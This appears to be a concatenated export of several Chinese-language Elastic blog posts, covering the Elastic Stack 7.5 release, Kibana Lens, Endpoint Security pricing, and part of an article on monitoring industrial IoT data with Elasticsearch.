</p><p>Elastic Enterprise Search 现在已经有了发布的版本号，并且会随着 Elastic Stack 一起发布；Elastic&nbsp; Enterprise Search 是此次 7.5.0 版本发布的一部分，目前仍为测试版。如欲了解新功能，请查看 <a href="/cn/blog/elastic-enterprise-search-7-5-0-released">Enterprise Search 博文</a>。</p><h2>Elastic Observability</h2><p>Elastic 坚信：如要想要彻底洞察您的应用程序和基础架构，您需要能够查看（或观测）到它的每一个侧面。Elastic Observability 将我们的多款产品（包括 Elastic Logs、Metrics、APM 和 Uptime）整合在了一起，让您能更完整、更全面地了解整个公司/组织。Elastic Stack 7.5 版对 Elastic Metrics 做了大幅扩展，并且在 APM、日志和安全数据之间添加了多项关键集成，从而使公司更容易的开展<a href="/cn/blog/observability-with-the-elastic-stack">可观察性</a>项目。&nbsp;
</p><p>我们在指标方面加大了开发投入，新增了&nbsp;Metrics Explorer 。Metrics Explorer 是一个专门构建的用户界面，可对指标进行实时分析。我们还使用户能够，针对他们最重要的基础架构和服务指标（包括 Kubernetes、Prometheus、Amazon Web Services (AWS)），进行一站式的数据集成，让用户能够更轻松地开展指标的洞察和浏览。我们在 7.5 中继续和第三方进行集成，由于已与 Microsoft 达成了合作，所以在这个版本中推出了新功能，让用户可一站式监测 Microsoft Azure 的指标和日志。最后，我们还针对在 Elastic Metrics 和 Logs 应用中直接查看<a href="/cn/blog/endgame-joins-forces-with-elastic">终端安全数据</a>增加了初期支持。这些新功能可帮助 Elastic Stack 用户在监测关键服务方面，更快地进行设置，让他们更高效地将指标与重要事件（例如来自终端设备的审计日志）集成在一起，进行关联查看。&nbsp;</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt98122c486c5a63ff/5dcec86efcb522353a6925de/7.5-stack-blog-screenshot-apm-transactions.png" data-sys-asset-uid="blt98122c486c5a63ff" alt="7.5-stack-blog-screenshot-apm-transactions.png">
</p><p>希望了解更多详情，请查看 <a href="/cn/blog/elastic-observability-7-5-0-released">Observability 博文</a>。
</p><h2>Elastic Security</h2><p>对于使用 Elastic Stack 保护公司/组织安全的用户而言，现在是一个值得兴奋的时刻。自从上一版本推出以来，我们<a href="/cn/webinars/elasticon-dc-keynote-livestream">完成了对领先终端安全公司 Endgame 的并购</a>，并且宣布对于 EPP/EDR 产品<a href="/cn/blog/elastic-endpoint-security-what-does-no-per-endpoint-pricing-mean">不再按终端数量计费</a>。现在我们 Enterprise 级别的订阅服务中包括了无限的终端数量，所以您再也不必需费心的选择，到底应该保护哪一部分设备的安全性了。对于服务器，如果您正在采集安全和运行数据，为什么不同时确保这些数据的安全呢？而且不局限于服务器；安全分析师应该使用到来自所有基础设施（包括台式机和笔记本电脑）的安全事件。Elastic SIEM 7.5 版现已直接将终端安全数据和告警包含在了&nbsp;SIEM 应用中。&nbsp;</p><p>我们还在 Elastic SIEM 7.5 版本中继续加大研发的力度，帮助用户通过 Machine Learning 检测威胁，从&nbsp;DNS 活动中识别出可以表明 DNS 隧道活动或指令和控制行为的异常模式，还包括通过 RDP 进行的异常登录，还有使用 <code>runas</code> 指令，等等不胜枚举的场景。SIEM 应用自身也在扩展，包含大量的崭新可视化和小组件，帮助用户更轻松地跟踪威胁，既有主机活动的交互式可视化，也有崭新的 TLS 视图，此视图不但能展示异常证书，还可基于 TLS 指纹（例如 JA3 哈希）简化跟踪。&nbsp;
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt67d3d20f6c641119/5dd2b9da6aec2738d0784b5d/4_7.5-stack-blog-animated-gif-endgame.gif" data-sys-asset-uid="blt67d3d20f6c641119" alt="4_7.5-stack-blog-animated-gif-endgame.gif">
</p><p>如想详细了解我们关于 Elastic SIEM 和 Elastic Endpoint Security 的愿景，请<a href="/cn/webinars/elasticon-dc-keynote-livestream">在此处观看发布公告</a>，也可查看我们的 <a href="/cn/blog/elastic-security-7-5-0-released">Security 博文</a>详细了解 7.5 中的新功能。&nbsp;
</p><h2>篇幅有限，不胜枚举</h2><p>7.5 还有非常多的其它功能。请查看各产品的博文，从而详细的了解我们在 7.5 版本中添加的所有新功能：
</p><p><strong>Elastic Stack</strong>
</p><ul>
	<li><a href="/cn/blog/elasticsearch-7-5-0-released">Elasticsearch 7.5.0 重磅发布</a></li>
	<li><a href="/cn/blog/kibana-7-5-0-released">Kibana 7.5.0 重磅发布</a></li>
	<li><a href="/cn/blog/beats-7-5-0-released">Beats 7.5.0 重磅发布</a></li>
	<li><a href="/cn/blog/logstash-7-5-0-released">Logstash 7.5.0 重磅发布</a></li>
</ul><p><strong>解决方案</strong>
</p><ul>
	<li><a href="/cn/blog/elastic-enterprise-search-7-5-0-released">Elastic Enterprise Search 7.5.0 重磅发布</a></li>
	<li><a href="/cn/blog/elastic-observability-7-5-0-released">Elastic Observability 7.5.0 重磅发布</a></li>
	<li><a href="/cn/blog/elastic-security-7-5-0-released">Elastic Security 7.5.0 重磅发布</a></li>
</ul>

7.5_Launch-_blog_header.png

7.5_Launch-_blog_thumbnail.png

Elastic Stack 7.5.0 released

Elastic Stack 7.5.0 重磅发布

Kibana Lens 隆重推出，能够让您以崭新方式轻松灵活地在 Kibana 中探索数据。

<p>我们非常兴奋地宣布推出 Kibana Lens，这是使使用Elastic Stack进行数据可视化和探索变得更加容易和直观的重要一步。<br></p><p>当前已有数百万用户使用 Kibana 进行可视化并与数据进行实时交互。通过首先推出 Kibana Lens 公测版，我们可以让您快速、轻松、直观地洞悉您的Elasticsearch数据。Lens 主要专注于易用性、可视化最佳实践以及灵活性。只需简单地将数据字段拖放到窗口中，您便可以创建可视化；Lens 中内置的智能建议功能可让您以全新方式对数据进行可视化，此外您还拥有更多灵活性，可以随时改变想法，并在图表类型和索引模式之间快速切换。有了 Lens，在 Kibana 中进行数据切片和切块不仅变得更简单，也会更有趣。&nbsp;
</p><p>Kibana Lens 包括在默认分发包中，免费提供给用户。Lens 在 Elastic Stack 7.5 版本中是公测版，现在即可在 <a href="/cn/cloud/elasticsearch-service">Elasticsearch Service</a> on Elastic Cloud 上使用，亦可<a href="/cn/downloads">下载</a>。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt6c2ea6a3cb8861b0/5dcecf7a51f1053bb4511129/Lens-release-blog-illustrated-screenshot-hero-lens.png" data-sys-asset-uid="blt6c2ea6a3cb8861b0" alt="Lens-release-blog-illustrated-screenshot-hero-lens.png">
</p><h2>绚丽的视觉之旅</h2><p>Kibana 的最初理念是由工程师开发，并服务于工程师，刚开始时是作为 Elasticsearch 开发人员的 UI。很快，开发人员便摒弃了命令行，改用 Kibana 来便捷地查看和搜索 Elasticsearch 数据。不久之后，我们又向 Kibana 中添加了可视化和图表，让用户可以通过直观方式汇总和展示数据。Kibana 很快就成为了很多客户进行数据可视化和探索时的热门之选，从 Netflix 到优步，再到沃尔玛，都是 Kibana 的拥趸。多年以来，我们一直深受社区的激励，致力于围绕数据可视化提供越来越丰富的功能。我们一直以来的关注点都是，对海量数据进行大规模可视化时存在哪些根本性挑战。&nbsp;&nbsp;
</p><p>随着人们开始将 Elasticsearch 和 Kibana 用于越来越多的用例，有很多新类型的用户也开始接触到 Kibana，包括工程师、开发人员、分析师、高管和数据科学家，而且其中很多人每天都会用到 Kibana。这是我们下一阶段的工作重点：让更广泛用户更轻松地使用 Kibana。&nbsp;
</p><p>大约两年前，我们开始研究如何帮助更多用户探索自身数据。我们意识到，我们需要运用多年来在下列两方面积攒的丰富知识：如何创建数据可视化，以及如何指导用户正确创建新内容。这一项目需要我们更快采取行动，支持更多图表类型，并将来自多个索引模式中的数据汇聚到单一可视化中，同时还要确保卓越的用户体验。&nbsp;
</p><p>在构建这一全新基础设施的同时，我们花了一年时间研究用户面临的诸多数据可视化挑战，以及市场上的现有解决方案。我们采访了数十家公司，这些公司都在使用 Kibana 或其他工具完成广泛用例，我们希望通过这一举措了解这些公司使用数据的方式以及所面临的的问题。&nbsp;
</p><p>Kibana Lens 是我们在这一过程中的新阶段：其能为用户提供简单直观的崭新体验，同时还能让用户实时对海量数据开展强大分析。
</p><h2>欢迎，Kibana Lens</h2><p>Kibana 用户通过 Lens 可以轻松开始探索自身数据，同时还能在多个图表和功能之间进行切换，从多个维度加以分析。通过 Lens，用户无需再费心弄懂复杂的 Elasticsearch 术语，通过适用于所有人的简单用户界面便可开始工作。任何 Kibana 用户都可以收获数据洞察，只需简单拖放字段并查看可视化预览，然后通过 Lens 的智能建议探索其他备选可视化并进行选择即可。
</p><p>基于数年来对用户在 Elastic Stack 中探索数据方式的洞察，我们围绕四个虽简单却异常强大的理念开发出了 Lens。
</p><h3>数据驱动</h3><p>如要创建可视化，您需要决定将数据中的哪些字段包含在内。在用户测试期间，我们观察到用户在不同界面之间反复切换，以便找出能够解决问题的正确字段。这通常不是一项轻松工作，因为分析数据的用户并不一定就是创建字段名称、索引和映射关系的同一用户。在 Lens 中，通过选择字段，您不仅可以即刻体验到 Elasticsearch 的速度优势，还能预览字段内容以快速了解上下文。通过查看字段值，您可以理解该字段是否能帮助您解决问题。&nbsp;
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt79eea769e3d3d363/5dd6c45751f1053bb4512fd2/screenshot-kibana-top-values.png" data-sys-asset-uid="blt79eea769e3d3d363" alt="Kibana Lens displays the contents of a data field in a single click to the top values and cardinality">
</p><h3>即刻预览</h3><p>数据可视化可帮助人们理解自己的数据。这听起来很轻松，但数据可视化通常都很复杂，如果希望基于大量数据集创建出富有意义的可视化并从整体上了解数据，尤为如此。&nbsp;
</p><p>在 Lens 中，我们的目标是让用户更轻松地制作可视化，同时就最佳方法为用户提供基础指导。为帮助用户轻松完成创建，只需将数据字段拖放到中央窗口中，便可即刻生成图表预览。无需配置，无需选择使用哪个汇总或功能；只需拖拽字段即可看到 Lens 的数据可视化效果。&nbsp;
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4b262cd18fbf9bef/5dced07351f1053bb4511147/Lens-release-blog-animated-gif-lens-drag-and-drop.gif" data-sys-asset-uid="blt4b262cd18fbf9bef" alt="Lens-release-blog-animated-gif-lens-drag-and-drop.gif">
</p><h3>智能建议</h3><p>我们还发现了用户进行数据可视化时的一些常见模式，也挖掘出了他们对于如何有效进行数据可视化存在哪些误解。这个问题很重要，因为通常而言，展示数据时所用的图表会决定人们从数据中收获的见解。在开发 Lens 的过程中，我们想将常见用户模式与数据可视化领域的最佳实践结合起来。从第一次预览开始，Lens 便能提供智能建议，还能基于用户所选的字段，就如何对数据进行可视化提供备选方案。这些建议是在诸多因素的基础上做出的，包括字段类型、图表类型以及人们常用的其他方法，还会使用一套排序算法基于相关度可能性对这些因素进行排序。智能建议通常能帮助用户回答查看图表后想起的后续问题，或者提供与当前所示可视化稍有不同的视角。每项建议还伴有一条描述，以帮助用户理解其与他们当前正在看的可视化有哪些不同。在根据用户数据提供个性化推荐的历程中，智能建议是我们迈出的第一步。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5f8f95c9bf6ac638/5dced0b36aec2738d0784231/Lens-release-blog-animated-gifs-lens-smart-suggestions.gif" data-sys-asset-uid="blt5f8f95c9bf6ac638" alt="Lens-release-blog-animated-gifs-lens-smart-suggestions.gif">
</p><h3>即兴想法及重复利用</h3><p>有时您能准确知道自己需要何种可视化，但更常见的情况是，您需要使用数据来解答心中疑问，而且您刚刚开始探索。为了解答这些即兴疑问，您必须能够改变想法，即能够在图表类型之间进行切换，将图表的底层数据更改为其他数据源，甚至将多个索引模式整合到单一可视化中。通过 Lens，您能够更加自由地探索自己的数据。最好的一点是，您可将满足自己需求的可视化保存下来，并在之后制作仪表板时重复利用。
</p><h2>我们将再接再厉，继续这一旅程</h2><p>Kibana 更新换代的速度很快。看一下我们的发展历程，尤其是过去几年的变化，我们所取得的创新和进步肯定算得上成绩斐然。我们会继续努力，以更快的速度推出新功能，解决新用例。我们的愿景是让人们借助强大功能轻松从自己的数据中获得有意义的见解，我们坚信 Kibana Lens 是我们实现这一愿景过程中迈出的重要一步。&nbsp;社区中有很多用户持续向我们提出请求并推动我们开发更棒的产品，也有很多用户不断就 Lens 提供反馈，我们对他们都表示深深感谢。&nbsp;</p><p>Harel Insurance Investments and Financial Services Ltd.（以色列第三大保险公司）目前正在使用 Kibana 对运营、安全、业务和营销数据进行可视化和探索，在得知 Kibana Lens 可实现的新功能之后，他们表达了自己的激动之情。“Harel 全身心致力于服务客户，这意味着我们需要确保客户通过数字服务与我们进行互动时能够拥有积极体验。Elastic 的解决方案帮助我们实现了这一目标，这不仅是因为 Elastic 让我们能够集中存储和分析关键流程数据，还因为 Elastic 推出了诸如 Kibana 等出色产品来帮助 Harel 的业务分析人员，让他们能够搜索并可视化数据以获得深刻洞察。”Harel 的首席技术官 Niv Raz 说道，“得知 Lens 推出后，我们十分兴奋，因为我们知道员工现在通过简单拖放便能完成分析，可以即刻预览数据，并且可参考自动可视化最佳实践，这些都能让他们更加快速地利用数据来满足客户需求。”<strong><em>&nbsp;</em></strong>
</p><p>Lens 是 Elastic 发展历程中的一个重大里程碑，我们都倍感兴奋，之后定会再接再厉，登上新台阶。下面这些功能是我们发展路线图中的一些优先事项：支持更多图表，添加更智能的建议，实现更多功能，并允许进行更多定制。我们计划很快推出迭代产品，同时还要继续在数据可视化领域开拓创新，为用户提供更简单、更强大的解决方案。
</p><h2>立即开始使用 Lens</h2><p>如要开始使用，既可在 <a href="https://info.elastic.co/elasticsearch-service-trial-30d.html">Elasticsearch Service</a> 上快速部署一个集群，也可<a href="/cn/downloads">安装最新版本</a>的 Elastic Stack。已在使用 Kibana？只需将集群升级到 7.5，即可开始试用 Lens。
</p><p>您可在 Kibana 中的 Visualize 应用内找到 Lens。使用 Lens 创建并保存可视化后，您便可将其添加到仪表板中，这一点与所有其他可视化没有差别。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt35d5f5787e8aae6c/5dced0f6d2bf1f3b3bf1e521/Lens-release-blog-screenshot-kibana-new-visualization.png" data-sys-asset-uid="blt35d5f5787e8aae6c" alt="Lens-release-blog-screenshot-kibana-new-visualization.png">
</p><p>为了帮助您更轻松地开始使用，我们在这里准备了一些资料助您尽快上手使用 Lens：
</p><ul>
	<li><a href="https://www.youtube.com/watch?v=6U7uoCyabcg&feature=youtu.be">概览视频</a></li>
	<li><a href="/guide/en/kibana/current/lens.html">文档</a></li>
	<li><a href="/cn/webinars/kibana-lens-an-easy-intuitive-way-to-visualize-data">注册参加我们即将举行的 Kibana Lens 网络研讨会</a></li>
</ul>

Lens-release-blog-banner.png

Lens-release-blog-thumbnail.png

Introducing Kibana Lens: An easy, intuitive way to explore data

Kibana Lens 隆重推出：轻松直观的探索数据方式

与我们其他解决方案一样，Elastic Endpoint Security 将使用按资源计价模式。详细了解如何打破按终端计价模式。

<p>我们最近做了两个重磅发布：
</p>
<ol>
	<li>Endgame 已开始<a href="/cn/blog/endgame-joins-forces-with-elastic">与 Elastic 合作</a>。</li>
	<li>我们不仅将对“传统”的终端保护用例<a href="/cn/webinars/elasticon-dc-keynote-livestream">终止按终端计价模式</a>，而且还将对终端检测和响应也终止这一计价模式。</li>
</ol>
<p>一些对此感兴趣的人不禁问道：“搞什么名堂？” 终端安全供应商一直都按终端计价，而现在不再需要为统计终端数量而担心，这可能让人感到不太真实。
</p>
<p><strong>没有任何圈套</strong>。Elastic 的计价就是这么简单明了。
</p>
<p>我们希望用户不断找到新的方式来从我们的产品中获取价值。而且，我们还希望用户能够轻松准确地预测新用例对成本的影响。保护组织的安全有很多工作要做，不要把时间浪费在统计设备数量和协商相应的许可上。
</p>
<h2>我们<em>对</em>哪些内容收费？</h2>
<p>自 11 月 1 日起，Elastic Endpoint Security 将包含在一个新的<a href="/cn/subscriptions">企业订阅</a>通道中。您只需支付一项订阅费即可，这项费用按照您在管理、存储、搜索和分析终端事件数据上所用的计算资源进行收取。这让您能够根据需求变化和 Elastic 的功能增长灵活分配资源。
</p>
<p>通过 Elastic Stack 企业订阅，您可以将<strong><em>所有</em></strong>终端安全事件数据导入 Elastic Stack，以进行检测和威胁搜寻，并启用自动化响应和编排。您可以充分利用灵活的热/温/冷存储架构的优势，以便随时能够访问自己需要的全部数据，而且不必按设备或按用户支付采集率费用。除此之外，您还可以同时为您的笔记本电脑、台式机和服务器获得最佳的恶意软件和威胁防护技术。
</p>
<p>而且，由于我们的解决方案是基于世界领先的搜索技术构建而成，因此，您实际上可以<strong><em>使用</em></strong>数据来发现异常，搜寻未知事件，进而防止对组织造成损害和损失。
</p>
<p>当您仅需要对所使用的资源付费时，就不会被局限在特定的用例或方法中了。
</p>
<p>假设您要尝试 Elastic 的一项新功能，如<a href="/cn/blog/observability-with-the-elastic-stack">可观察性</a>。您可以试用应用程序指标，并且仅当决定存储和分析更多数据时，才需要扩展资源。就是这么简单。
</p>
<p>当历史数据变得不那么有价值时，您可以将数据移至他处，而不需要完全删除。将数据放在具有冻结索引的便宜硬件上就好了。如果某些数据不再有价值，您可以将数据删除或存档，并将 Elastic 资源重定向到其他项目。
</p>
<p>通过我们简单而灵活的计价方法，让您更容易了解当前的资源使用情况，并在将来更轻松地采用新功能和实现新用例。
</p>
<h2>分类事件而非预算</h2>
<p>按终端和按功能计价的旧有模型只对供应商行得通，而且通常会影响安全性。信息安全供应商让锱铢必较的客户成为常态。供应商并未将客户的最大利益置于首位，而是采用附加组件提供“分层”保护。如果您曾经不得不选择哪些终端和服务器得到“完全”保护，哪些仅得到部分保护（甚至没有任何保护），那接下来的事情您懂哦。当入侵发生时，那是因为您没有升级到最新最全的 SKU...
</p>
<p>当敌手的平均潜伏时间超过 90 天时，供应商将您的数据存储限制为七天是没有任何意义的。这更没意义的是，还不得不选择哪些终端事件您有能力采集到 SIEM 中，而哪些终端事件您必须丢弃。正如他们说的，“要在大海里捞针，您就需要有整个大海。”
</p>
<h2>致力于一种公平且可预测的方法
</h2>
<p>Elastic 支持在我们的所有产品（从 <a href="/cn/siem">Elastic SIEM</a> 到 <a href="/cn/log-monitoring">Logs</a>、<a href="/cn/infrastructure-monitoring">Metrics</a> 和 <a href="/cn/apm">APM</a>）中采用一致的按资源计价模型。按资源计价就是说，我们的订阅费是按照您运行 Elastic Stack 所用的计算资源收取的。
</p>
<p>例如，我们选择不按照席位或采集率对 <a href="/cn/blog/introducing-elastic-siem">Elastic SIEM</a> 计价。借助可观察性，我们终止了按代理和按主机计价模式，而通过搜索，我们终止了按文档、按查询和按用户计价模式。
</p>
<p>Elastic 仅对存储、搜索和分析数据所使用的资源收费。
</p>
<p>现在，我们对 Elastic Endpoint Security 将继续采用这一计价方法。
</p>
<h2>亲自试用</h2>
<p>如要开始使用，既可在 <a href="/cn/elasticsearch/service">Elasticsearch Service</a> 上快速部署一个集群，也可<a href="/cn/start">安装最新版本</a>的 Elastic Stack。
</p>
<p>Elasticsearch 中已经有 ECS 数据了？只需<a href="/guide/en/elastic-stack/7.4/upgrading-elastic-stack.html">将集群升级到 7.4</a>，即可开始试用 Elastic SIEM。
</p>
<p>Elastic Endpoint Security 即将推出。
</p>

endpoint-blog-banner.png

blog-thumb-release-endpoint-security.png

What does "no per-endpoint pricing" mean?

“不按终端计价”意味着什么？

了解工业物联网 (IIoT) 如何让制造商有机会使用 Elasticsearch 来监测和分析车间的海量数据。

<p>工业物联网 (IIoT) 让制造公司有机会从数千个传感器和设备中获取数据。
</p>
<p>将这些数据实现互联，在监测生产流程和获得适当测量数据供进一步分析方面都非常重要。其中一个关键挑战是如何收集和规范数据，以便将数据用于预测性分析或车间安全领域。
</p>
<p>即使是小型制造公司也往往会运营多个工厂，拥有数百台机器和数千个传感器。新数据以毫秒级的速度生成，极易累计到万亿字节，但这些数据并未得到存储和分析，因而毫无价值可言。
</p>
<blockquote>借助 Elastic，您可以收集、增强和分析 IIoT 数据，并帮助生产主管深入了解生产流程。<br>
	<em>— Elastic 首席解决方案架构师 Marco De Luca</em>
</blockquote>
<p>能够大规模地收集这些数据将是一个重要的分水岭。它可以优化生产流程，进而提升效率和改进产品质量。
</p>
<p>通常，制造商除了上面提到的一般挑战之外，还至少面临以下挑战之一：
</p>
<ul>
	<li>制造公司都极具创新精神，但仍会有大量的旧机器，而且这些机器可能还会继续使用好多年。机器的生命周期通常是 10-20 年或者更长！如何将这些旧机器集成到现代分析平台中呢？</li>
	<li>拥有传感器、自动驾驶车辆，以及其他需要监测的众多设备。唯有掌握全局才是帮助运筹预测性维护、操作等等一切的基础。所有各种设备都使用不同的技术进行通信，而且与互联网的连接方式也各不相同。</li>
	<li>有很多专有解决方案都彼此无法进行通信。如何从这些系统中获取数据并实现与其他机器数据的关联呢？</li>
	<li>一些制造公司已经在考虑如何构建一个机器数据平台，以便对所有这些新旧系统一并实施监测。您如何利用这些数据呢？是用于运营/维护目的，还是构建其他/新的业务用例和（或）服务？</li>
</ul>
<p>对于专注于收集和分析机器数据的公司来说，有很多益处。这不仅可以优化生产流程，还可以提高产品质量。收集和分析这些数据的好处远不止这些。
</p>
<p>一个精心设计的监测解决方案结合预测性维护，还可以帮助大幅降低成本。传感器数据可以很好地反映设备状况或制成品的质量。此外，它还有助于减少资源消耗。<a href="/cn/customers/mm-karton">MM Karton</a> 的原材料消耗减少了 20%，已证明这一潜力。
</p> <strong>
<h2>构建 IIoT 数据分析的基础</h2></strong>
<p>为了能够利用这些种类各异的数据，您需要将数据存储在可随需扩展的独立环境中。Elasticsearch 就非常适合这个用例。它不仅支持您大规模存储多种类型的数据，还可让您使用 Machine Learning 功能来分析数据，并以任何您喜欢的方式可视化数据。
</p>
<p>在您能够收集每个工厂的所有相关数据后，不妨设想一下，全面监测如何提高您的生产工厂的效率。在 Elasticsearch 中存储各种必需的数据，并使用 <a href="/guide/en/kibana/7.4/canvas.html">Canvas</a> 将来自多个组装厂的数据集于一个屏幕之中，就像为一场展示会制作一个连接到实时数据的幻灯片一样简单。
</p>
<p>下面是几个示例供您查看：
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5c394309c17b5dc9/5da6464f8854f368b9b0b877/iiot-canvas-dashboards-blog.gif" data-sys-asset-uid="blt5c394309c17b5dc9" alt="Canvas 中内置的监测仪表板" style="display: block; margin: auto;">
</p><figcaption>从宏观到细致入微，监测多个组装厂的每台设备
</figcaption>
<p>宏观掌握多个不同的组装厂固然很好，但是您还需要知道每个工厂中不同机器的性能如何。除此之外，您还需要能够组合和关联每个供应商的不同数据模型。
</p>
<h2><strong>使用 Elastic Stack 的典型 IIoT 用例
</strong></h2>
<p>下列用例是使用 Elastic Stack 进行 IIoT 数据分析和监测的一些示例。还有其他很多示例，例如通过与机器远程交互来自动响应问题。
</p>
<h3><strong>预测性分析引入预测性维护</strong></h3>
<p>利用传感器数据分析 IoT 设备的运行状况非常有效。传感器数据（如气压或油压、温度、电压、速度、声音、频率或颜色/闪电的变化）可用作故障的早期预警机制。知道某设备在近期会出现故障，并根据这些信息做出反应，势必有助于降低成本。
</p>
<p>此外，通过掌握传感器数据的阈值或数据范围，生产管理人员就能够根据实际数据设置单项维护计划，而不是遵循死板的维护周期，从而避免无论组件是否可能发生故障，都一股脑被更换的状况。通过利用这项功能，可以制定一个专门且有意义的维护计划，从而降低成本并缩短生产停机时间。
</p>
<p>要实现这一点，需要对导致故障的环境有相当深入的了解。对我们常人来说，同时实时观测数百个传感器并将其与历史事件进行比较并非易事，但对于 Machine Learning 来说，这种工作就不在话下。发现每个传感器的异常，或者将所有传感器的数据与单个运行状况评分结果关联起来，功能都非常强大。
</p> <strong>
<h3>次品率或废品率降低</h3></strong>
<p>另一个重要的 KPI 就是次品率/废品率。降低次品率非常重要，而只有了解生产中的哪个环节会导致次品，才能降低次品率。基于 Machine Learning 的 Elastic Stack 异常值检测功能可帮助发现与预期结果不同的产品。通过将此检测功能与传感器数据结合使用，可以毫不费力地快速发现问题。
</p>
<p>如果车间中的机器学习作业设计得当，最终可能会实现机器自动优化而无需人工干预。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt699f1478e047ff11/5da646ca41cfbe67ebcd8074/iiot-machine-learning-analytics-blog.jpg" data-sys-asset-uid="blt699f1478e047ff11" alt="浏览 Machine Learning 生成的分析" style="display: block; margin: auto;">
</p><figcaption>基于 Machine Learning 的异常值检测功能可以检测出可能违背常识的产品质量指标</figcaption>
<p> <strong></strong>
</p>
<h3><strong>车间安全性</strong></h3>
<p>如今，IT 相关系统的安全性是一个众所周知的挑战。车间的安全性通常更难以实施。目前，一般的概念是通过将整个生产设施切断与互联网的连接来防止入侵。
</p>
<p>这种操作正在变得日益困难。“经典 IT”（如 SAP PP 或 PLM 等 ERP）对 SPS（如 Siemens SIMATIC）系统的影响越来越大，最终将导致好坏内容间杂的直接通信。需求由业务产生 — MoD（按需制造）已经可以通过 3D 打印或激光切割实现。例如，想象一下由来自任意网店的定制订单触发的全自动化生产流程。从互连 IT 到车间的火花飞溅风险将成为一种新的维度风险。因此，在<a href="https://www.forbes.com/sites/bernardmarr/2018/09/02/what-is-industry-4-0-heres-a-super-easy-explanation-for-anyone/">工业 4.0</a> 过渡期间，车间安全性将成为一个非常重要的话题。借助 <a href="/cn/siem">Elastic SIEM</a>（安全信息和事件管理），以及收集所有相关数据的功能，您的智能工厂也可以监测安全事件。
</p> <strong>
<h2>使用 Elastic Stack 收集和分析不同的 IIoT 数据源</h2></strong>
<p>所需的分析功能已经在 Elastic Stack 中实现了很长一段时间。艰巨的工作是将不同数据源的数据放入堆栈中。
</p>
<p>从生产工厂中现有的所有各种数据源收集数据不能仅凭一种方式进行。您需要将多个数据源放在一起。因为 Elastic 是一个开放的实时数据平台，因此可以轻松使用它的生态系统来集成所有类型的数据源。
</p>
<p>在一个制造工厂中，从非常旧的系统（可能使用 Windows95 或更早版本运行控制软件）到运行 Linux 和 <a href="https://opcfoundation.org/">OPC-UA</a> 的最新技术，会有许多不同的系统需要监测。我们主要讨论以下几个类型的系统：
</p>
<ul>
	<li>用于控制工厂内部和工厂之间制造流程的制造控制软件（如 <a href="https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_8.0.0/com.ibm.mq.pro.doc/q001020_.htm">IBM MQ</a>）。</li>
</ul>
<ul>
	<li><a href="https://en.wikipedia.org/wiki/Programmable_logic_controller">可编程逻辑控制器</a> (PLC) 是专门为在工业控制系统中应用而设计的一种独特形式的计算机设备。它是一种特殊用途的“工业用计算机”，用于控制传感器和执行器；例如，它可以控制造纸行业中生产纸制品的机器，也可以控制箱式电梯和自动扶梯。由 PLC 控制的设备用例有很多。</li>
</ul>
<ul>
	<li><a href="https://en.wikipedia.org/wiki/Industrial_robot">工业机器人</a>，例如 <a href="https://www.kuka.com/en-us">KUKA</a>（德国/中国制造商）制造的机器人。KUKA 机器人配备了一个 OPC-UA 服务器，它可以控制 KUKA 机器人，但同时又能够与制造车间的其他机器人和系统进行交互。此外，OPC-UA 还能够通过互联网实现系统互联，因此，它也将面临安全威胁。这就是为什么安全性在 OPC-UA 规范中扮演着重要角色，但它也需要通过像 Elastic 这样的监测平台进行监测。</li>
</ul>
<ul>
	<li><a href="https://www.rockwellautomation.com/en_NA/products/industrial-sensors/overview.page">传感器</a>和其他自动驾驶车辆或设备大多用于测量温度、湿度、速度、加速度、定位、振动或其他将它们与生产流程数据关联起来所需的指标。例如，温度和湿度的变化会影响机器人的运转，并引起更大的振动，从而导致机器人故障或生产出低质产品。因此，传感器和机器人数据对客户运营非常重要。</li>
</ul> <strong>
<h3>从 PLC、MQTT 代理和 OPC UA 服务器收集数据</h3></strong>
<p>要收集所有这些近实时数据，我们可以使用 <a href="https://ela.st/machinebeat">Machinebeat</a>，这是一个能够从 MQTT 代理和 OPC UA 设备收集数据的社区 <a href="/cn/beats">Beat</a>。它的 MQTT 模块还能够从不同的 IoT 云服务提供商（如 AWS IoT 核心或 Azure IoT 中心）收集数据。
</p>
<p>为了从 PLC 设备收集数据，作为一个 <a href="https://github.com/apache/plc4x/tree/develop/plc4j/integrations/logstash-plugin">Logstash 插件</a>与 Apache Project <a href="https://github.com/apache/plc4x">PLC4X</a> 进行了集成，这使得客户能够从 PLC4X 支持的所有 PLC 收集指标。关于 PLC4X 与 Elasticsearch 结合使用的更深入探讨信息，请参阅我们的合作伙伴 Codecentric 的<a href="https://blog.codecentric.de/en/2019/10/apache-plc4x-elasticsearch-iiot-monitoring-anomaly-detection/">这篇博文</a>。
</p><figcaption><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltfa6d879613f95079/5da715aa7ad68468b4384595/iiot-data-collection-overview-blog.png" style="background-color: initial;" data-sys-asset-uid="bltfa6d879613f95079" alt="iiot-data-collection-overview-blog.png">针对收集、扩充和分析所有数据的解决方案概述<br></figcaption>
<p> <strong></strong>
</p>
<h3><strong>使用 Kibana 实现数据可视化</strong></h3>
<p>掌握所有这些信息之后会带来一项新的挑战。仅当您可以从中获取价值时，存储大量数据才有用。通过对正在发生的事情获得更好的洞察才能产生价值。可视化功能就可以提供这方面的帮助。在下面的示例中，可视化显示了 IBM MQ 控制的制造环境中多个队列之间的消息传递。在旧式监测系统中，您需要对所监测的内容有特定的了解。通过使用 Canvas，您可以抽象出特定的知识，并用易于辨识的不同颜色对当前情况作出反馈。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt10f16104b4b404df/5da647413c3a9367e61d46e5/iiot-real-time-monitoring-blog.gif" data-sys-asset-uid="blt10f16104b4b404df" alt="IBM MQ 指标的实时监测和可视化" style="display: block; margin: auto;">
</p><figcaption>实时监测 IBM MQ 指标，包括基于定制规则集的条件颜色切换</figcaption>
<p> <strong></strong>
</p>
